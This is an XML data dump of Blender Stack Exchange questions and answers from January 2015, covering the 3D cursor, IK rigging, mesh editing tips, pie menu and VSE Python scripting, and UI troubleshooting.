  <row Id="23013" PostTypeId="2" ParentId="23012" CreationDate="2015-01-11T00:00:59.883" Score="6" Body="&lt;p&gt;This is the 3D Cursor, and is useful for several things in advanced editing. When you left-click you are setting the position in 3D space for it to be. It works in all modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like some more details, go to the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/3d_cursor.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="3710" LastEditDate="2018-01-04T23:02:40.370" LastActivityDate="2018-01-04T23:02:40.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23014" PostTypeId="1" CreationDate="2015-01-11T00:34:12.893" Score="1" ViewCount="208" Body="&lt;p&gt;I have IK rigged my model legs but this happens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sqNOe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we all know that it suppose to go forward not backwards. Can someone help me . Thanks ^_^&lt;/p&gt;&#xA;" OwnerUserId="10888" LastEditorUserId="2952" LastEditDate="2015-12-17T07:39:22.943" LastActivityDate="2015-12-17T07:39:22.943" Title="Help with IK Rigging" Tags="&lt;rigging&gt;&lt;inverse-kinematics&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23015" PostTypeId="2" ParentId="23012" CreationDate="2015-01-11T00:38:43.870" Score="5" Body="&lt;p&gt;The &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;white circle with cross&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;is drawn around center of an object and is the center of &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Manipulators&quot; rel=&quot;nofollow noreferrer&quot;&gt;manipulations&lt;/a&gt; like translation, rotation and scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/brK89.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this not to be confused with the 3D cursor a red/white dashed circle (looks more like a life ring) it is used to indicate position where an object is created e.g. when you add a cube in &lt;em&gt;Object Mode&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3D cursor can be used in &lt;em&gt;Edit Mode&lt;/em&gt; e.g as pivot point and is set by left clicking.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-11T00:38:43.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23016" PostTypeId="1" AcceptedAnswerId="23023" CreationDate="2015-01-11T00:59:51.757" Score="4" ViewCount="182" Body="&lt;p&gt;Just noticed that while dragging the 3D cursor values for constrained axis can be entered, and the cursor can snap to faces. The status header shows MEDIAN,Global,FACE how can these properties be influenced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D8TUx.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-11T03:13:46.843" Title="What are the new 3D cursor features introduced in 2.73?" Tags="&lt;modeling&gt;&lt;3d-cursor&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23017" PostTypeId="2" ParentId="23009" CreationDate="2015-01-11T00:59:51.687" Score="1" Body="&lt;p&gt;The issue is that you have the particle size set way too small. I changed it to a size of 1.00:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CqHi1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And got a result like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GC8xZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At a size of 0.020 the particles are less than 1 pixel across, making some of them invisible to the camera, and blurring others. By changing the size for all of the particle systems, I got this result: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4iKsw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-11T00:59:51.687" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="23018" PostTypeId="1" AcceptedAnswerId="23021" CreationDate="2015-01-11T01:06:10.477" Score="13" ViewCount="20436" Body="&lt;p&gt;I have filled circle and I want to add vertex at center of it. After that I want to connect vertices from circle to the center vertex (this part I know how to do).&lt;/p&gt;&#xA;" OwnerUserId="10913" LastEditorUserId="6204" LastEditDate="2015-01-11T01:16:01.300" LastActivityDate="2015-01-11T02:30:02.840" Title="How can I add a vertex at the center of a circle?" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23019" PostTypeId="2" ParentId="23018" CreationDate="2015-01-11T01:11:37.817" Score="4" Body="&lt;p&gt;You can do this when you first add the circle. When you first add the mesh, go to the tools where you normally enter the vertex number, and select &lt;em&gt;Fill Type &gt; Triangle Fan&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6AlJH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make a mesh like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lt1lo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-11T01:11:37.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23020" PostTypeId="2" ParentId="23018" CreationDate="2015-01-11T01:14:07.480" Score="4" Body="&lt;p&gt;If it is necessary to use an existing mesh, select all the vertices in the circle, and press &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; &lt;em&gt;Cursor to Selected&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k17kY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then deselect all, then hold &lt;kbd&gt;Ctrl&lt;/kbd&gt; and click anywhere in the viewport. This will add a vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ccUqL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now press &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; &lt;em&gt;Selection to Cursor&lt;/em&gt;. This will place it where the 3D cursor is located, which is in the exact center of the circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NVXkd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-01-11T01:19:46.963" LastActivityDate="2015-01-11T01:19:46.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23021" PostTypeId="2" ParentId="23018" CreationDate="2015-01-11T01:35:22.420" Score="17" Body="&lt;p&gt;If you've already added the circle there are some other fast ways to do this:&lt;/p&gt;&#xA;&lt;h1&gt;Method 1:&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the circle.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude (&lt;kbd&gt;E&lt;/kbd&gt;), then cancel the translate part of the extrusion with &lt;kbd&gt;Esc&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; &lt;em&gt;&amp;gt; Center&lt;/em&gt; to merge the extruded vertices into a single central vertex.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EQMw6.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Method 2:&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the circle.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fill (&lt;kbd&gt;F&lt;/kbd&gt;) to make an n-gon.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Poke Faces (&lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;) to triangulate the n-gon with a central vertex.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xz3l1.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-11T01:35:22.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23022" PostTypeId="2" ParentId="23018" CreationDate="2015-01-11T02:30:02.840" Score="4" Body="&lt;p&gt;Select the entire cicle &lt;kbd&gt;A&lt;/kbd&gt;, then hit &lt;kbd&gt;E&lt;/kbd&gt; &gt; &lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;kbd&gt;0&lt;/kbd&gt;. in that order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will scale all vertices to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; &gt; &lt;kbd&gt;V&lt;/kbd&gt; &gt; &lt;em&gt;remove doubles&lt;/em&gt;.&#xA;To make a master vertex at center, rather than all thirty-two occupying the same space.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-11T02:30:02.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23023" PostTypeId="2" ParentId="23016" CreationDate="2015-01-11T03:13:46.843" Score="4" Body="&lt;p&gt;This feature is added by the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Enhanced_3D_Cursor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Enhanced 3D cursor addon&lt;/a&gt; it is best to read it's rather long usage entry to learn about it's functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lY8O2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-11T03:13:46.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23024" PostTypeId="1" CreationDate="2015-01-11T04:55:18.057" Score="2" ViewCount="582" Body="&lt;p&gt;I have the following code which is a modified version of the template for new pie menus however it doesn't function properly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pie.operator(&quot;transform.select_orientation&quot;, text=&quot;Local&quot;).orientation='LOCAL'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should change the orientation to &lt;code&gt;Local&lt;/code&gt;. However it doesn't, it opens a menu instead. Why is this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.types import Menu&#xA;&#xA;# spawn an edit mode selection pie (run while object is in edit mode to get a valid output)&#xA;&#xA;&#xA;class VIEW3D_PIE_template(Menu):&#xA;    #label is displayed at the center of the pie menu.&#xA;    bl_label = &quot;Select Mode&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        pie = layout.menu_pie()&#xA;        pie.operator(&quot;transform.select_orientation&quot;, text=&quot;Global&quot;).orientation='GLOBAL'&#xA;        pie.operator(&quot;transform.select_orientation&quot;, text=&quot;Local&quot;).orientation='LOCAL'&#xA;addon_keymaps = []&#xA;def register():&#xA;    bpy.utils.register_class(VIEW3D_PIE_template)&#xA;    wm = bpy.context.window_manager&#xA;&#xA;    if wm.keyconfigs.addon:&#xA;        km = wm.keyconfigs.addon.keymaps.new(name='Object Non-modal')&#xA;        kmi = km.keymap_items.new('wm.call_menu_pie', 'D', 'PRESS', ctrl=True,)&#xA;        addon_keymaps.append(km)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(VIEW3D_PIE_template)&#xA;&#xA;    wm = bpy.context.window_manager&#xA;&#xA;    if wm.keyconfigs.addon:&#xA;        for km in addon_keymaps:&#xA;            for kmi in km.keymap_items:&#xA;                km.keymap_items.remove(kmi)&#xA;&#xA;        wm.keyconfigs.addon.keymaps.remove(km)&#xA;&#xA;    # clear the list&#xA;    del addon_keymaps[:]&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;    bpy.ops.wm.call_menu_pie(name=&quot;VIEW3D_PIE_template&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10916" LastEditorUserId="241" LastEditDate="2017-03-22T15:00:43.673" LastActivityDate="2017-03-22T15:00:43.673" Title="Custom Pie Menu B3D 2.72b" Tags="&lt;python&gt;&lt;scripting&gt;&lt;pie-menu&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23025" PostTypeId="2" ParentId="21643" CreationDate="2015-01-11T06:54:40.970" Score="0" Body="&lt;p&gt;Select an object and make sure no other object is selected (deselect them if that is the case), then run the following script to add a rigid body to the object of your choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this out by hovering my mouse over the 'Rigid Body' button... the tool tip is 'bpy.ops.rigidbody.objects_add()'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;bpy.ops.rigidbody.objects_add()&#xA;bpy.context.scene.objects.active.rigid_body.type=True # Set to False for Passive objects&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9491" LastEditorUserId="29301" LastEditDate="2018-09-11T22:38:55.367" LastActivityDate="2018-09-11T22:38:55.367" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23026" PostTypeId="2" ParentId="23014" CreationDate="2015-01-11T07:55:39.970" Score="0" Body="&lt;p&gt;Well, it looks like you must rotate some bones in Z axes in edit mode... Just play around with rotations od them till you get normal legs. You might need to rotate top leg bones, and than also the bottom ones(yellow)...&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2015-01-11T07:55:39.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23027" PostTypeId="2" ParentId="23024" CreationDate="2015-01-11T10:09:28.190" Score="1" Body="&lt;p&gt;The invoke method of the operator is called which shows the menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might set the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.ops.html#execution-context&quot; rel=&quot;nofollow&quot;&gt;operator's context&lt;/a&gt; using &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.types.UILayout.html?highlight=uilayout.operator#bpy.types.UILayout.operator_context&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;UILayout.operator_context&lt;/code&gt;&lt;/a&gt; to &lt;code&gt;EXEC_DEFAULT&lt;/code&gt; to directly call the operators execute method with the argument given:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pie.operator_context = 'EXEC_DEFAULT'&#xA;pie.operator(&quot;transform.select_orientation&quot;, text=&quot;Local&quot;).orientation='LOCAL'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use the generic &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.ops.wm.html?highlight=wm.context_#bpy.ops.wm.context_set_enum&quot; rel=&quot;nofollow&quot;&gt;wm.context_set_enum&lt;/a&gt; operator to change the transform orientation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;op_props = pie.operator(&quot;wm.context_set_enum&quot;)&#xA;op_props.data_path = &quot;space_data.transform_orientation&quot;&#xA;op_props.value = 'LOCAL'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2015-01-11T10:09:28.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23028" PostTypeId="2" ParentId="22963" CreationDate="2015-01-11T10:31:19.883" Score="4" Body="&lt;p&gt;You can get information about the view from &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.types.RegionView3D.html#bpy.types.RegionView3D&quot; rel=&quot;nofollow&quot;&gt;RegionView3D&lt;/a&gt; which can be accessed via &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.types.SpaceView3D.html#bpy.types.SpaceView3D.region_3d&quot; rel=&quot;nofollow&quot;&gt;space_data.region_3d&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are utility functions available in the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy_extras.view3d_utils.html#module-bpy_extras.view3d_utils&quot; rel=&quot;nofollow&quot;&gt;bpy_extras.view3d_utils&lt;/a&gt; module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may get the &lt;em&gt;view direction&lt;/em&gt; like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r3d.view_rotation * Vector((0.0, 0.0, -1.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the &lt;em&gt;up direction&lt;/em&gt; should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r3d.view_rotation * Vector((0.0, 1.0, 0.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the &lt;em&gt;view location&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r3d.view_matrix.inverted().translation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or another way&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;region = context.region&#xA;rv3d = context.region_data&#xA;view3d_utils.region_2d_to_origin_3d(region, rv3d, (region.width/2.0, region.height/2.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Despite its name, &lt;code&gt;RegionView3D.view_location&lt;/code&gt; specifies the view target.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2217" LastEditDate="2015-03-04T15:05:17.363" LastActivityDate="2015-03-04T15:05:17.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23029" PostTypeId="1" CreationDate="2015-01-11T11:12:30.413" Score="3" ViewCount="624" Body="&lt;p&gt;I have a ASCII text file, which holds the data for combining images into a stop-motion movie as follows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Length_in_second/100|filename.ext|x|y in pixels&#xA;50|ImagePhoto.jpg|0|0&#xA;100|NextPhoto.jpg|0|2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I load all photos into Blender's VSE?  I need to show ImagePhoto.jpg on screen trought 0.5s (first photo)&#xA;next for 1s. ... etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is possible I would like to save the images back to a similarly syntaxed ASCII file when I edit length position etc. in Blender.&lt;/p&gt;&#xA;" OwnerUserId="10919" LastEditorUserId="5705" LastEditDate="2015-01-11T19:30:37.217" LastActivityDate="2018-07-14T00:49:55.810" Title="How to compile a stop motion movie in the VSE with python?" Tags="&lt;python&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23030" PostTypeId="1" CreationDate="2015-01-11T11:16:49.967" Score="3" ViewCount="1596" Body="&lt;p&gt;I'm fairly new to blender. I mainly use it for video editing. This project is the first time I used the &quot;speed&quot; effect strip. In the project, a video plays, then a clip of it plays again faster, then a third clip plays at normal speed. When I run this in the editor, it runs fine and seems to work. However, when I render it, it seems like my first clip is also effected by the speed and ends up playing twice as fast. Then the video is blank until it hits the second clip, and from then on it seems normal. Im not sure what exactly I'm doing wrong. Here is a screenshot:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IfF65.jpg&quot; alt=&quot;My video editor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Removing the speed section did not seem to have any effect in final rendering. The video runs fine in the editor, but the rendered file plays much faster than normal.&lt;/p&gt;&#xA;" OwnerUserId="10921" LastEditorUserId="10921" LastEditDate="2015-01-12T03:12:40.097" LastActivityDate="2017-01-12T15:22:32.380" Title="Video Speed Changes when rendering" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23033" PostTypeId="2" ParentId="23029" CreationDate="2015-01-11T13:08:11.737" Score="5" Body="&lt;p&gt;The following script reads your control file (extended so that # is used to mark comments):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Length_in_second/100|filename.ext|x|y in pixels&#xA;50|0001.png|0|0&#xA;100|0002.png|0|2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script read the file names from the control files and add image strips to the VSE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;directory='X:\\New Folder\\'&#xA;filename= directory + 'control.txt'&#xA;&#xA;# adapted from blender.stackexchange.com/questions/6101&#xA;old_type = area.type&#xA;area.type = 'SEQUENCE_EDITOR'&#xA;&#xA;start = 0&#xA;for line in open(filename):&#xA;    line=line.rstrip(&quot;\n&quot;)&#xA;    # skip comments&#xA;    if line.find(&quot;#&quot;) == -1:&#xA;        time,image,x,y = line.split(&quot;|&quot;)&#xA;        # / 10 because 50 eq. 500ms; * 25 for 25 frames per sec &#xA;        duration = float(time)/10*25&#xA;        end = start + duration&#xA;        bpy.ops.sequencer.image_strip_add(directory=directory, files=[{&quot;name&quot;: image, &quot;name&quot;: image }], frame_start=start, frame_end=end, channel=1)&#xA;        start = end&#xA;&#xA;area.type = old_type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dZXNF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this should work to get the values to update an edited file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for s in bpy.data.scenes[0].sequence_editor.sequences:&#xA;    print(&quot;%d|%s|0|0&quot; % (((s.frame_final_end- s.frame_final_start)/2.5), s.name ))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to print to a file see my answer here:&lt;a href=&quot;https://blender.stackexchange.com/questions/22921/how-to-export-list-of-prop-values-as-txt-to-a-certain-folder-and-how-to-import/22934#22934&quot;&gt;How to export list of prop values as txt to a certain folder? And how to import them back?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-01-11T22:36:35.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23035" PostTypeId="1" AcceptedAnswerId="23036" CreationDate="2015-01-11T13:48:59.560" Score="6" ViewCount="7573" Body="&lt;p&gt;For some reason I can't unhide my objects anymore in this file. Is it a bug?&lt;br&gt;&#xA;&lt;a href=&quot;https://drive.google.com/file/d/0B3U2BO-9tuUCRWJ1cHpjZ1I3TTA/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3216" LastEditorUserId="2217" LastEditDate="2015-01-11T22:31:36.603" LastActivityDate="2020-02-05T12:29:41.013" Title="Can't unhide objects" Tags="&lt;objects&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23036" PostTypeId="2" ParentId="23035" CreationDate="2015-01-11T13:53:12.860" Score="6" Body="&lt;p&gt;You've activated the &lt;em&gt;local view&lt;/em&gt; of your selected object. Press &lt;kbd&gt;Numpad /&lt;/kbd&gt; button to return to the scene view, with the all objects visible.&#xA;This option is very useful, when you've got many objects in scene and want to edit the concrete one. You can easily check out if you are in &lt;em&gt;local view&lt;/em&gt;. The view type is displayed in the upper left corner of a 3D window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dpgic.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="29" LastEditDate="2015-01-11T21:02:11.920" LastActivityDate="2015-01-11T21:02:11.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23037" PostTypeId="1" AcceptedAnswerId="23048" CreationDate="2015-01-11T14:58:11.773" Score="9" ViewCount="4409" Body="&lt;p&gt;When you add a new object into the blender scene, normally on the tool shelf a window will become available where you can put in the objects size or number of vertices etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These options:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hLuVm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what-ever reason, when I now add an object I am no longer seeing that area where I can alter the measurements. Currently I want to use the Spin function but I need to alter it but I have no way of effecting how the spin operates.&lt;br&gt;&#xA;Does anyone know what I have done or how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="9753" LastEditorUserId="3401" LastEditDate="2015-12-22T18:13:00.737" LastActivityDate="2020-06-19T16:28:15.857" Title="Can't find the palette to alter new objects" Tags="&lt;mesh&gt;&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23038" PostTypeId="2" ParentId="23037" CreationDate="2015-01-11T15:10:12.983" Score="7" Body="&lt;p&gt;Press &lt;kbd&gt;F6&lt;/kbd&gt; button after adding a new object. This will display the same menu you're looking for in a separate window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GH80n.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-01-11T15:10:12.983" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23039" PostTypeId="2" ParentId="23012" CreationDate="2015-01-11T18:17:17.263" Score="4" Body="&lt;p&gt;One use for your '3D Cursor' is to set a spawn position for newly created meshes and other things. When you press Shift + A to bring the appropriate menu (where you import meshes, lamps, cameras ect.) then clicking an item will spawn it right where your 3D cursor is. It really is pretty basic, but don't feel bad! We were all noobs once before! Even I'm still unfamiliar with a lot of the functions. Honestly, it's really the most un-intuitive basic feature! :)&lt;/p&gt;&#xA;" OwnerUserId="10911" LastActivityDate="2015-01-11T18:17:17.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23040" PostTypeId="1" AcceptedAnswerId="23041" CreationDate="2015-01-11T18:31:09.997" Score="4" ViewCount="14744" Body="&lt;p&gt;I want to write a simple toggle for an existing &lt;em&gt;UI Boolean property&lt;/em&gt;. Every time I run the following code Blender should either show or hide the name of the object in the Viewport, depending on the current state. It works fine, but I wondering if it is really necessary to to call the property 3 times for this easy task.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.active_object&#xA;&#xA;if obj.show_name == True:&#xA;    obj.show_name = False&#xA;else:&#xA;    obj.show_name = True &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a more &lt;em&gt;elegant&lt;/em&gt; way to write this?&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3078" LastEditDate="2015-01-11T18:41:51.183" LastActivityDate="2016-05-11T12:22:57.383" Title="How to easily toggle a Boolean property?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23041" PostTypeId="2" ParentId="23040" CreationDate="2015-01-11T18:37:48.387" Score="4" Body="&lt;p&gt;This can trivially be done as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.show_name = not obj.show_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which basically says: if True, make it not True (i.e. False), else if False, make it not False (i.e. True).&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2015-01-12T10:56:38.160" LastActivityDate="2015-01-12T10:56:38.160" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
